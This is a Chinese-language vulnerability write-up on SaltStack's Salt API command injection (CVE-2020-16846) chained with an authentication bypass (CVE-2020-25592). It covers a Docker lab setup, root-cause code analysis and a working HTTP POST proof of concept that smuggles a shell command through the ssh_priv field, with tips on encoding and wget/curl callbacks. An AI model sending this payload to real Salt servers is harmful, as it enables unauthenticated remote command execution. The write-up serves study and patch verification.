SaltStack 远程命令执行漏洞(CVE-2020-16846)by FlyYoung729
SaltStack是一个分布式运维系统,在互联网场景中被广泛应用,有以下两个主要功能: 1、配置管理系统,能够将远程节点维护在一个预定义的状态(例如,确保安装特定的软件包并运行特定的服务) 2、分布式远程执行系统,用于在远程节点上单独或通过任意选择标准来执行命令和查询数据
CVE-2020-16846: 命令注入漏洞 未经过身份验证的攻击者通过发送特制请求包,可通过Salt API注入ssh连接命令导致命令执行。
CVE-2020-25592: 验证绕过漏洞 Salt 在验证eauth凭据和访问控制列表ACL时存在一处验证绕过漏洞。未经过身份验证的远程攻击者通过发送特制的请求包,可以通过salt-api绕过身份验证,并使用salt ssh连接目标服务器。结合CVE-2020-16846能造成命令执行。
该漏洞环境已整合到vulfocus靶场中,可一键直接启动。 步骤: 1、搜索CVE-2020-16846,点击启动(配合CVE-2020-25592验证绕过漏洞进行命令执行) 2、访问https://ip:port,看到该页面则证明靶场启动成功
也同样可以在dockerhub仓库中搜索vulfocus/saltstack找到我们上传的镜像
https://hub.docker.com/r/vulfocus/saltstack-cve_2020_16846
1、将镜像下载到本地环境
docker pull vulfocus/saltstack-cve_2020_16846:latest
2、启动镜像
docker run -d -p 22:22 -p 4505:4505 -p 4506:4506 -p 8000:8000 vulfocus/saltstack-cve_2020_16846:latest
3、访问https://ip:8000
通过分析后构造poc
POST /run HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
token=123123&client=ssh&tgt=*&fun=a&roster=flyoung&ssh_priv=aaa|payload
dnslog成功回显 注意: 1、拼接命令中不能含有空格,需要将空格替换为%20,命令最后需要以分号结束,即%3b 2、回显可以使用wget或curl命令,ping命令执行不成功
执行脚本 注意: 脚本执行需要用/bin/bash命令执行,如果使用sh命令则需要将aaa修改为/,因为cmd文件都下载在根目录,aaa其实为路径
CVE-2020-16846 salt/client/ssh/shell.py 使用ssh-keygen命令生成ssh的密钥,path变量直接使用format放入cmd中,使用subprocess.call方法执行,该方法会默认将列表第一个项作为命令,后续作为命令参数执行。配置了shell=True参数会直接将整个字符串用shell解释,相当于同样的语句放在终端中运行。该漏洞修复之后shell默认为false。path参数可控即可造成命令执行。
CVE-2020-25592 入口分析 SaltStack利用cherrypy和tornado两个框架实现了api。 salt/netapi/rest_cherrypy/app.py cherrypy配置
LowDataAdapter类调用了salt.netapi.NetapiClient类。
跟进ret = self.api.run(chunk)中的run函数
low为外部传入的参数,salt.utils.args.format_call方法将参数赋值给kwargs。 当攻击者将client参数值设为"ssh"时,会直接调用salt/netapi/init.py中的NetapiClient.ssh()。
salt.client.ssh.client.SSHClient,初始化函数没有ssh相关类调用,继续跟进cmd_sync()函数。 salt/client/ssh/client.py
提交利用goby编写的poc和exp,审核通过后就能获取到GoEXP计划的专属奖金,还可以集成到自己的goby中测试